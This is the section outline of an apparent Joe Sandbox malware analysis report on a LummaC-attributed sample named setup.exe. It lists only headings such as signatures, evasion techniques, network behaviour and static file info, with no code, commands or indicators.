Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
setup.exe